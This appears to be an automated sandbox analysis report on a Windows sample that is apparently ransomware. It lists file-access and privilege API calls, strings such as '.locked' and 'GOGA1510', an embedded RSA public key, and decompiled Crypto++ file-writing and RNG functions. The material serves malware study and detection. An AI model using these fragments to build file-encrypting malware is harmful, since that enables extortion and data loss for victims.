Part of subcall function 000AA700: GetFileAttributesW.KERNELBASE(?,?,7757EEF2,7757EEF2,00090133,?,000001B6,00000000,?,?,00000001,?,?,?,00000000,00000010), ref: 000AA735
Part of subcall function 000AA700: GetLastError.KERNEL32(?,?,00000001,?,?,?,00000000,00000010,?,?,?,?,?,DB2C627E,7757C452,00000000), ref: 000AA741
Part of subcall function 000AA700: SetFileAttributesW.KERNELBASE(?,00000000,?,?,?,?,?,?,00000001,?,?,?,00000000,00000010), ref: 000AA790
Part of subcall function 000AA700: GetLastError.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,00000000,00000010), ref: 000AA79A

GetFileAttributesExW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,00000001,?,?,?,00000000), ref: 000901C2

Part of subcall function 000AAAC0: MoveFileExW.KERNEL32(?,?,00000003), ref: 000AAAE2
Part of subcall function 000AAAC0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,?,?,00000000,00000010), ref: 000AAAEC

RtlInitUnicodeString.NTDLL(?,?), ref: 00090375
NtOpenFile.NTDLL(?,0012019F,00000018,?,00000005,00004020), ref: 000903E5
NtReadFile.NTDLL(?,00000000,00000000,00000000,?,0013B788,?,00000000,00000000), ref: 000904A3

Part of subcall function 000B3DE0: __CxxThrowException@8.LIBVCRUNTIME ref: 000B3E34

Part of subcall function 000B3B40: __CxxThrowException@8.LIBVCRUNTIME ref: 000B3B9E

Part of subcall function 000C86F0: __aulldvrm.LIBCMT ref: 000C871F

Part of subcall function 000B1090: __CxxThrowException@8.LIBVCRUNTIME ref: 000B11F7

NtWriteFile.NTDLL(?,00000000,00000000,00000000,?,0013B788,?,?,00000000), ref: 000907C2

Part of subcall function 000B0F10: __CxxThrowException@8.LIBVCRUNTIME ref: 000B1085

NtWriteFile.NTDLL(?,00000000,00000000,00000000,?,GOGA1510,00000090,00000000,00000000), ref: 000908CD
NtClose.NTDLL(?), ref: 000908D9

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Part of subcall function 0008EE00: GetProcAddress.KERNEL32(7757C452,00000000,DB2C627E,?,?,?,?,?,?,0000000F,00130AC8,000000FF,?,00094BD5,RmGetList,DB2C627E), ref: 0008EE33
Part of subcall function 0008EE00: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,0000000F,00130AC8,000000FF,?,00094BD5,RmGetList,DB2C627E), ref: 0008EE96

Strings

\??\\, xrefs: 000902B3, 000902D1
RtlInitUnicodeString, xrefs: 0008FEBA
MIGdMA0GCSqGSIb3DQEBAQUAA4GLADCBhwKBgQDLscAMf6QMU0OLT967Q0oMVN/9xRbC6Ymz HVVE05zgpDJRQQLmPPYcPnehaeynF8HGFYbRIEaD0pk4WZwGPLtcRaYuQS1M6v+2j4Vp8faA woNdi7+jI2xw0kQao29FJ8WUQDvrPqODALf8bjiOIO7f1Nc5g9vOEbWyCA1w/vbaVwIBEQ==, xrefs: 0008FFC9
NtReadFile, xrefs: 0008FE60
NtClose, xrefs: 0008FE33
internal error, xrefs: 0008FD9F
NtWriteFile, xrefs: 0008FE8D
@, xrefs: 000903B2
.locked, xrefs: 00090133
InputBuffer, xrefs: 0008FFED
ntdll.dll, xrefs: 0008FD02
NtOpenFile, xrefs: 0008FE06
goga, xrefs: 0008FF02
FAILED , xrefs: 0009099B
GOGA1510, xrefs: 000908AF, 000908B9
), xrefs: 00090990

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: File$Exception@8Throw$AttributesErrorLast$Close$CryptHandleWrite$AddressContextCreateFeatureInitMoveOpenPresentProcProcessorRandomReadReleaseStringUnicode___raise_securityfailure___std_exception_copy__aulldvrm__onexit
String ID: FAILED $ MIGdMA0GCSqGSIb3DQEBAQUAA4GLADCBhwKBgQDLscAMf6QMU0OLT967Q0oMVN/9xRbC6Ymz HVVE05zgpDJRQQLmPPYcPnehaeynF8HGFYbRIEaD0pk4WZwGPLtcRaYuQS1M6v+2j4Vp8faA woNdi7+jI2xw0kQao29FJ8WUQDvrPqODALf8bjiOIO7f1Nc5g9vOEbWyCA1w/vbaVwIBEQ==$)$.locked$@$GOGA1510$InputBuffer$NtClose$NtOpenFile$NtReadFile$NtWriteFile$RtlInitUnicodeString$\??\\$goga$internal error$ntdll.dll
API String ID: 685191894-3102259986
Opcode ID: 9982ef118d36be1f9534f8a5e873a396d33823644df39c3f8e3d6eaa5a8f7b11
Instruction ID: 13111e0c2389cb4ad6c914b6e478ab5a107261356fa185d10c86b3c90812fb95
Opcode Fuzzy Hash: 9982ef118d36be1f9534f8a5e873a396d33823644df39c3f8e3d6eaa5a8f7b11
Instruction Fuzzy Hash: 69925670A002589FDF25DB64CD89BEEBBB9AF55304F1441D9E409B7282DBB06B88CF51

Uniqueness

Uniqueness Score: 100.00%

Function 000D1880, Relevance: 21.5, APIs: 5, Strings: 7, Instructions: 452
UNIQUECrypto

Download Yara Rule

C-Code - Quality: 54%

			E000D1880(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __eflags) {
				signed int _v0;
				signed int _v4;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v80;
				signed int _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v128;
				char _v132;
				signed char _v133;
				char _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				char _v152;
				signed int _v156;
				intOrPtr* _v184;
				char _v204;
				signed int _v208;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				intOrPtr _v372;
				char _v392;
				signed int _v396;
				intOrPtr _v504;
				char _v520;
				void* __esi;
				void* __ebp;
				signed int _t172;
				signed int _t173;
				intOrPtr _t180;
				signed int _t186;
				signed int _t187;
				signed int _t198;
				signed int _t199;
				intOrPtr _t201;
				signed int _t203;
				signed int _t211;
				intOrPtr _t216;
				signed int _t223;
				signed int _t224;
				signed int _t235;
				signed int _t239;
				signed int _t246;
				signed int _t250;
				signed int _t268;
				intOrPtr _t271;
				void* _t273;
				signed int _t297;
				void* _t305;
				char* _t306;
				intOrPtr _t308;
				signed int _t310;
				intOrPtr _t320;
				char* _t324;
				signed int _t330;
				intOrPtr _t336;
				char* _t339;
				signed int _t340;
				char* _t343;
				signed int _t358;
				intOrPtr _t361;
				signed int _t364;
				signed int _t378;
				void* _t379;
				void* _t381;
				signed int _t382;
				signed int _t383;
				void* _t388;
				signed int* _t389;
				signed int _t390;
				intOrPtr _t392;
				signed int _t394;
				signed int _t397;
				intOrPtr* _t399;
				intOrPtr _t401;
				intOrPtr* _t402;
				signed int _t403;
				char* _t405;
				signed int _t411;
				signed int _t412;
				signed int _t413;
				signed int _t414;
				void* _t416;
				signed int _t417;
				signed int _t419;
				void* _t420;
				signed int _t421;
				signed int _t422;

				_t388 = __edi;
				_t305 = __ebx;
				_push(0xffffffff);
				_push(0x1350a0);
				_push( *[fs:0x0]);
				_t417 = _t416 - 0x24;
				_t172 =  *0x16f170; // 0xdb2c627e
				_t173 = _t172 ^ _t411;
				_v20 = _t173;
				_push(_t173);
				 *[fs:0x0] =  &_v16;
				_t399 = __ecx;
				_v48 = __ecx;
				_v52 = __ecx;
				_push(0x1c);
				_v28 = 0;
				_v24 = 0xf;
				_v44 = 0;
				E00068B90( &_v44, __edx, __ecx, "FileSink: error writing file");
				asm("xorps xmm0, xmm0");
				_v8 = 0;
				asm("movq [esi+0x4], xmm0");
				_v8 = 1;
				_t12 = _t399 + 0x10; // 0x14
				 *_t399 = 0x13b7a4;
				 *(_t399 + 0xc) = 5;
				E00064B40(_t12, __edx,  &_v44);
				_t378 = _v24;
				 *_t399 = 0x13ef54;
				if(_t378 < 0x10) {
					L4:
					 *_t399 = 0x13ef6c;
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t411);
				} else {
					_t320 = _v44;
					_t379 = _t378 + 1;
					_t180 = _t320;
					if(_t379 < 0x1000) {
						L3:
						_push(_t379);
						E000ED2D0(_t320);
						goto L4;
					} else {
						_t320 =  *((intOrPtr*)(_t320 - 4));
						_t379 = _t379 + 0x23;
						if(_t180 - _t320 + 0xfffffffc > 0x1f) {
							E0010F44B(__ebx, _t320, _t379, __edi, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t411);
							_t412 = _t417;
							_push(0xffffffff);
							_push(0x133e28);
							_push( *[fs:0x0]);
							_t419 = _t417 - 0x6c;
							_t186 =  *0x16f170; // 0xdb2c627e
							_t187 = _t186 ^ _t412;
							_v84 = _t187;
							_push(_t399);
							_push(_t187);
							 *[fs:0x0] =  &_v80;
							_t401 = _t320;
							_t321 =  *(_t401 + 0x10);
							__eflags =  *(_t401 + 0x10);
							if( *(_t401 + 0x10) == 0) {
								E00064B00( &_v48, "FileSink: output stream not opened");
								_v12 = 0;
								E000D15D0( &_v48);
								E001047B7( &_v88, 0x1694c8);
								goto L10;
							} else {
								E0006AEE0(__ebx, _t321, _t379, __edi);
								__eflags =  *( *((intOrPtr*)( *( *(_t401 + 0x10)) + 4)) +  *(_t401 + 0x10) + 0xc);
								if(__eflags != 0) {
									L10:
									_t324 =  &_v128;
									E000D1880(_t305, _t324, _t379, _t388, __eflags);
									E001047B7( &_v128, 0x1694e8);
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									_t413 = _t419;
									_t420 = _t419 - 0x84;
									_t198 =  *0x16f170; // 0xdb2c627e
									_t199 = _t198 ^ _t413;
									_v208 = _t199;
									 *[fs:0x0] =  &_v204;
									_t306 = _t324;
									_t402 = _v184;
									_t38 = _t306 + 0x10; // 0x10
									_t389 = _t38;
									_v320 = 0;
									 *_t389 = 0;
									 *(_t306 + 0xc) = 0;
									_t201 =  *_t402;
									_t42 = _t201 + 4; // 0xff348d8b
									_v328 = 0;
									_v324 = 0;
									_t203 =  *((intOrPtr*)( *_t42))("OutputFileNameWide", 0x171f38,  &_v324, _t199, _t388, _t401, _t305,  *[fs:0x0], 0x136302, 0xffffffff, _t412);
									__eflags = _t203;
									if(_t203 != 0) {
										L14:
										__eflags =  *((intOrPtr*)( *((intOrPtr*)( *_t402 + 4))))("OutputBinaryMode", 0x176030,  &_v133, 0xb0);
										_t381 =  !=  ? _v133 & 0x000000ff : 1;
										_v152 = 1;
										_t390 = E000ECF08(_t402,  *((intOrPtr*)( *((intOrPtr*)( *_t402 + 4))))("OutputBinaryMode", 0x176030,  &_v133, 0xb0));
										_t421 = _t420 + 4;
										_v156 = _t390;
										_v16 = 0;
										__eflags = _t390;
										if(__eflags == 0) {
											_t390 = 0;
											__eflags = 0;
										} else {
											 *_t390 = 0x151bc8;
											 *((intOrPtr*)(_t390 + 0x68)) = 0x13ac78;
											_t55 = _t390 + 4; // 0x4
											_v16 = 1;
											_v140 = 1;
											 *((intOrPtr*)(_t390 +  *((intOrPtr*)( *_t390 + 4)))) = 0x13ae84;
											_t61 =  *((intOrPtr*)( *_t390 + 4)) - 8; // -8
											 *((intOrPtr*)( *((intOrPtr*)( *_t390 + 4)) + _t390 - 4)) = _t61;
											E0006B150( *((intOrPtr*)( *_t390 + 4)) + _t390, _t381, __eflags, _t55, 0);
											_v16 = 3;
											 *((intOrPtr*)(_t390 +  *((intOrPtr*)( *_t390 + 4)))) = 0x13efc4;
											_t69 =  *((intOrPtr*)( *_t390 + 4)) - 0x68; // -104
											 *((intOrPtr*)( *((intOrPtr*)( *_t390 + 4)) + _t390 - 4)) = _t69;
											E000690C0(_t306, _t55, 0);
										}
										_t330 =  *(_t306 + 0xc);
										_v16 = 0xffffffff;
										__eflags = _t330;
										if(_t330 != 0) {
											_t364 = _t330 +  *((intOrPtr*)( *_t330 + 4));
											__eflags = _t364;
											 *((intOrPtr*)( *_t364))(1);
										}
										_t382 = _v144;
										_t208 = 0x12;
										 *(_t306 + 0xc) = _t390;
										_v140 = 0x32;
										_t78 = _t208 - 0xe; // 0x4
										_t403 = _t78;
										__eflags = _t382;
										if(_t382 == 0) {
											L25:
											_t383 = _v148;
											__eflags = _t383;
											if(_t383 == 0) {
												L30:
												 *(_t306 + 0x10) = _t390;
												goto L31;
											} else {
												__eflags = _v152;
												_t98 = _t390 + 4; // 0x4
												_t210 =  !=  ? _v140 : _t208;
												_t211 = E00068FD0(_t98, _t383, _t383,  !=  ? _v140 : _t208, 0x40);
												__eflags = _t211;
												_push(0);
												_t336 =  *((intOrPtr*)( *_t390 + 4));
												if(_t211 != 0) {
													_t337 = _t336 + _t390;
													__eflags =  *(_t336 + _t390 + 0x38);
													_t403 =  !=  ? 0 : _t403;
													_push(_t403);
												} else {
													_t337 = _t336 + _t390;
													__eflags =  *(_t337 + 0x38);
													_push(0x00000002 + (0 |  *(_t337 + 0x38) == 0x00000000) * 0x00000004 |  *(_t337 + 0xc));
												}
												E00053470(_t306, _t337, _t383, _t390);
												_t390 =  *(_t306 + 0xc);
												_t216 =  *((intOrPtr*)( *_t390 + 4));
												__eflags =  *(_t216 + _t390 + 0xc) & 0x00000006;
												if(( *(_t216 + _t390 + 0xc) & 0x00000006) != 0) {
													goto L33;
												} else {
													goto L30;
												}
											}
										} else {
											__eflags = _v152;
											_push(0x40);
											_t265 =  !=  ? _v140 : 0x12;
											_push(0x12);
											_push(_t382);
											L49();
											__eflags =  !=  ? _v140 : 0x12;
											_push(0);
											_t361 =  *((intOrPtr*)( *_t390 + 4));
											if(( !=  ? _v140 : 0x12) != 0) {
												_t362 = _t361 + _t390;
												_t383 = 0;
												__eflags =  *(_t361 + _t390 + 0x38);
												_t268 =  !=  ? 0 : _t403;
											} else {
												_t362 = _t361 + _t390;
												__eflags =  *(_t362 + 0x38);
												_t268 = 0x00000002 + (0 |  *(_t362 + 0x38) == 0x00000000) * 0x00000004 |  *(_t362 + 0xc);
											}
											_push(_t268);
											E00053470(_t306, _t362, _t383, _t390);
											_t390 =  *(_t306 + 0xc);
											_t271 =  *((intOrPtr*)( *_t390 + 4));
											__eflags =  *(_t271 + _t390 + 0xc) & 0x00000006;
											if(( *(_t271 + _t390 + 0xc) & 0x00000006) != 0) {
												_t273 = E000B3BC0(_t306, _t390,  &_v52, _v144, 0);
												_t421 = _t421 + 0xc;
												_v16 = 4;
												E000D16D0(_t306,  &_v92, _t383, _t273);
												E001047B7( &_v92, 0x16946c);
												L33:
												E00064B00( &_v52, _v148);
												_v16 = 5;
												_t339 =  &_v132;
												E000D16D0(_t306, _t339, _t383,  &_v52);
												E001047B7( &_v132, 0x16946c);
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												_push(_t413);
												_t414 = _t421;
												_push(0xffffffff);
												_push(0x136338);
												_push( *[fs:0x0]);
												_t422 = _t421 - 0x70;
												_t223 =  *0x16f170; // 0xdb2c627e
												_t224 = _t223 ^ _t414;
												_v396 = _t224;
												_push(_t306);
												_push(_t403);
												_push(_t390);
												_push(_t224);
												 *[fs:0x0] =  &_v392;
												_t392 = _t339;
												_v504 = _t392;
												_t340 =  *(_t392 + 0x10);
												_t308 = _v372;
												__eflags = _t340;
												if(_t340 == 0) {
													E00064B00( &_v56, "FileSink: output stream not opened");
													_v20 = 0;
													E000D15D0( &_v56);
													E001047B7( &_v96, 0x1694c8);
													goto L48;
												} else {
													_t403 = _v4;
													__eflags = _t403;
													if(_t403 != 0) {
														do {
															_t383 = 0;
															_t397 = _t403;
															__eflags = _t403;
															if(_t403 != 0) {
																_t358 = 1;
															} else {
																_t358 = 0;
															}
															__eflags = 0 - _t403;
															asm("sbb eax, eax");
															__eflags =  ~0x00000000 - _t358;
															if( ~0x00000000 != _t358) {
																_t397 = _t397 | 0xffffffff;
																__eflags = _t397;
																_t383 = 0x7fffffff;
															}
															E000D1F00( *((intOrPtr*)(_v140 + 0x10)), _t308, _t397, _t383);
															_t308 = _t308 + _t397;
															_t403 = _t403 - _t397;
															__eflags = _t403;
														} while (_t403 != 0);
														_t392 = _v140;
														_t340 =  *(_t392 + 0x10);
													}
													__eflags = _v0;
													if(_v0 != 0) {
														E0006AEE0(_t308, _t340, _t383, _t392); // executed
														_t340 =  *(_t392 + 0x10);
													}
													__eflags =  *( *((intOrPtr*)( *_t340 + 4)) + _t340 + 0xc);
													if(__eflags != 0) {
														L48:
														_t343 =  &_v136;
														E000D1880(_t308, _t343, _t383, _t392, __eflags);
														E001047B7( &_v136, 0x1694e8);
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														_push(_t414);
														_push(0xffffffff);
														_push(0x136368);
														_push( *[fs:0x0]);
														_push(_t308);
														_push(_t403);
														_push(_t392);
														_t235 =  *0x16f170; // 0xdb2c627e
														_push(_t235 ^ _t422);
														 *[fs:0x0] =  &_v520;
														_t405 = _t343;
														__eflags =  *(_t405 + 0x4c);
														if( *(_t405 + 0x4c) != 0) {
															L58:
															__eflags = 0;
															 *[fs:0x0] = _v32;
															return 0;
														} else {
															_push(_v4);
															_push(_v8);
															_t239 = E000D9FD4(_v12);
															__eflags = _t239;
															if(_t239 == 0) {
																goto L58;
															} else {
																E00068EF0(_t239, _t405, _t239, 1);
																_t394 =  *( *((intOrPtr*)(_t405 + 0x34)) + 4);
																_v24 = 0;
																_v36 = _t394;
																 *((intOrPtr*)( *_t394 + 4))();
																_v24 = 1;
																_t310 = E0006F530(_t383,  &_v40);
																_t246 =  *((intOrPtr*)( *((intOrPtr*)( *_t310 + 0xc))))();
																__eflags = _t246;
																if(_t246 == 0) {
																	 *(_t405 + 0x38) = _t310;
																	E0006B030(_t405);
																} else {
																	 *(_t405 + 0x38) = 0;
																}
																_v24 = 2;
																__eflags = _t394;
																if(_t394 != 0) {
																	_t250 =  *((intOrPtr*)( *_t394 + 8))();
																	__eflags = _t250;
																	if(_t250 != 0) {
																		 *((intOrPtr*)( *_t250))(1);
																	}
																}
																 *[fs:0x0] = _v32;
																return _t405;
															}
														}
													} else {
														 *[fs:0x0] = _v28;
														__eflags = _v32 ^ _t414;
														return E000ECED8(_v32 ^ _t414);
													}
												}
											} else {
												_t208 = 0x12;
												goto L25;
											}
										}
									} else {
										_t297 =  *((intOrPtr*)( *((intOrPtr*)( *_t402 + 4))))("OutputFileName", 0x171f48,  &_v148);
										__eflags = _t297;
										if(_t297 != 0) {
											goto L14;
										} else {
											 *((intOrPtr*)( *_t402 + 4))("OutputStreamPointer", 0x17797c, _t389);
											L31:
											 *[fs:0x0] = _v24;
											__eflags = _v28 ^ _t413;
											return E000ECED8(_v28 ^ _t413);
										}
									}
								} else {
									 *[fs:0x0] = _v20;
									__eflags = _v24 ^ _t412;
									return E000ECED8(_v24 ^ _t412);
								}
							}
						} else {
							goto L3;
						}
					}
				}
			}

APIs

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000D19ED

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Part of subcall function 000D1880: __CxxThrowException@8.LIBVCRUNTIME ref: 000D1A03
Part of subcall function 000D1880: __CxxThrowException@8.LIBVCRUNTIME ref: 000D1CC3
Part of subcall function 000D1880: __CxxThrowException@8.LIBVCRUNTIME ref: 000D1CF2
Part of subcall function 000D1880: __CxxThrowException@8.LIBVCRUNTIME ref: 000D1DE7
Part of subcall function 000D1880: __CxxThrowException@8.LIBVCRUNTIME ref: 000D1DFD

Strings

FileSink: error writing file, xrefs: 000D18B6
FileSink: output stream not opened, xrefs: 000D19C4
OutputStreamPointer, xrefs: 000D1AB4
OutputFileNameWide, xrefs: 000D1A68
2, xrefs: 000D1BA3
OutputFileName, xrefs: 000D1A9A
OutputBinaryMode, xrefs: 000D1ACC

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: 2$FileSink: error writing file$FileSink: output stream not opened$OutputBinaryMode$OutputFileName$OutputFileNameWide$OutputStreamPointer
API String ID: 654547538-2427754487
Opcode ID: 698651e8856ae678b562d7cece197568bf7cc6d9d94c83ce5534a4013acc9ad2
Instruction ID: 7af9dbecc00f9fe36a927a27aecf46067e7df6c74e4dabacb58a2a706d38f811
Opcode Fuzzy Hash: 698651e8856ae678b562d7cece197568bf7cc6d9d94c83ce5534a4013acc9ad2
Instruction Fuzzy Hash: FFF19F71A00208AFDB24DF64C885FEEBBF5FF48710F14855AE915AB382DB75A905CB90

Uniqueness

Uniqueness Score: 100.00%

Function 000CA250, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 123
encryptionUNIQUE

Download Yara Rule

C-Code - Quality: 52%

			E000CA250(void* __ebx, HCRYPTPROV* __ecx, void* __edx) {
				char* _v8;
				char _v16;
				signed int _v20;
				char _v44;
				char _v84;
				intOrPtr _v144;
				char* _v156;
				char _v164;
				intOrPtr* _v168;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t22;
				signed int _t23;
				int _t25;
				char* _t29;
				signed int _t37;
				signed int _t38;
				long _t49;
				intOrPtr* _t56;
				void* _t60;
				intOrPtr* _t64;
				HCRYPTPROV* _t67;
				intOrPtr _t69;
				signed int _t71;
				void* _t73;
				signed int _t74;

				_t60 = __edx;
				_push(0xffffffff);
				_push(0x134d48);
				_push( *[fs:0x0]);
				_t74 = _t73 - 0x44;
				_t22 =  *0x16f170; // 0xdb2c627e
				_t23 = _t22 ^ _t71;
				_v20 = _t23;
				_push(_t23);
				 *[fs:0x0] =  &_v16;
				_t67 = __ecx;
				 *__ecx = 0; // executed
				_t25 = CryptAcquireContextA(__ecx, 0, 0, 1, 0xf0000000); // executed
				if(_t25 != 0) {
					L3:
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t71);
				} else {
					_t49 = GetLastError();
					_t29 = CryptAcquireContextA(_t67, "Crypto++ RNG", 0, 1, 8);
					if(_t29 != 0 || CryptAcquireContextA(_t67, "Crypto++ RNG", _t29, 1, 0x28) != 0) {
						goto L3;
					} else {
						SetLastError(_t49);
						E00064B00( &_v44, "CryptAcquireContext");
						_v8 = 0;
						_t56 =  &_v84;
						E000CA3B0(_t49, _t56, _t60, CryptAcquireContextA, _t67, __eflags,  &_v44);
						E001047B7( &_v84, 0x16909c);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(_t71);
						_push(0xffffffff);
						_push(0x134438);
						_push( *[fs:0x0]);
						_push(_t56);
						_push(_t67);
						_push(CryptAcquireContextA);
						_t37 =  *0x16f170; // 0xdb2c627e
						_t38 = _t37 ^ _t74;
						__eflags = _t38;
						_push(_t38);
						 *[fs:0x0] =  &_v164;
						_t64 = _t56;
						_v168 = _t64;
						_t69 = _v144;
						asm("xorps xmm0, xmm0");
						 *_t64 = 0x13a468;
						asm("movq [eax], xmm0");
						E001041DE(_t69 + 4, _t64 + 4);
						 *_t64 = 0x13b7a4;
						 *((intOrPtr*)(_t64 + 0xc)) =  *((intOrPtr*)(_t69 + 0xc));
						_v156 = 0;
						E00064B40(_t64 + 0x10, _t60, _t69 + 0x10);
						 *_t64 = 0x13e9cc;
						 *[fs:0x0] = _v164;
						return _t64;
					}
				}
			}

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,DB2C627E,0017A548,?,00000000), ref: 000CA295
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00134D48,000000FF,?,000CAA20), ref: 000CA29B
CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000008), ref: 000CA2AF
CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000028), ref: 000CA2C0

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

SetLastError.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00134D48,000000FF), ref: 000CA2E5

Part of subcall function 000CA3B0: GetLastError.KERNEL32(00000010,DB2C627E,77749159), ref: 000CA400
Part of subcall function 000CA3B0: CryptReleaseContext.ADVAPI32(00000001,00000000,?,00000000,?,0013EA08,00000002, operation failed with error ,0000001D,?,?,OS_Rng: ,00000008,?), ref: 000CA730

__CxxThrowException@8.LIBVCRUNTIME ref: 000CA314

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

___std_exception_copy.LIBVCRUNTIME ref: 000CA362

Strings

CryptAcquireContext, xrefs: 000CA2EB
Crypto++ RNG, xrefs: 000CA2A7, 000CA2BA

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: ContextCrypt$AcquireErrorLast$ExceptionException@8FeaturePresentProcessorRaiseReleaseThrow___raise_securityfailure___std_exception_copy
String ID: CryptAcquireContext$Crypto++ RNG
API String ID: 2320731112-1159690233
Opcode ID: 2cc5236cccc75fd360cde2e5c79ef6f881bd75e95223e6bf043a3b983b70cf82
Instruction ID: 23e67cf3029c6c76754f82c17190fc862d6bd9f028273b28bfcc569197f236cb
Opcode Fuzzy Hash: 2cc5236cccc75fd360cde2e5c79ef6f881bd75e95223e6bf043a3b983b70cf82
Instruction Fuzzy Hash: 4141A371A40709ABD710DF98DC41FDAB7ECFF59B10F00422AF505A7680EBB5A5048B60

Uniqueness

Uniqueness Score: 100.00%

Function 00061760, Relevance: 10.6, APIs: 7, Instructions: 97COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?), ref: 0006177E
OpenProcessToken.ADVAPI32(00000000), ref: 00061785
GetLastError.KERNEL32(?,00000000), ref: 0006178F
LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 000617DF
AdjustTokenPrivileges.KERNELBASE ref: 0006181A
GetLastError.KERNEL32 ref: 0006183E
CloseHandle.KERNEL32(?), ref: 00061867

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorLastProcessToken$AdjustCloseCurrentFeatureHandleLookupOpenPresentPrivilegePrivilegesProcessorValue___raise_securityfailure
String ID:
API String ID: 48564656-0
Opcode ID: 1c330b4499145d7cc306af62f8f244ea75d701c8d55f536c64c2cd1170d3bafc
Instruction ID: a1d930787b0f20802ea0603ababcd14698596e03c5ef85e70b86f496c2db7a63
Opcode Fuzzy Hash: 1c330b4499145d7cc306af62f8f244ea75d701c8d55f536c64c2cd1170d3bafc
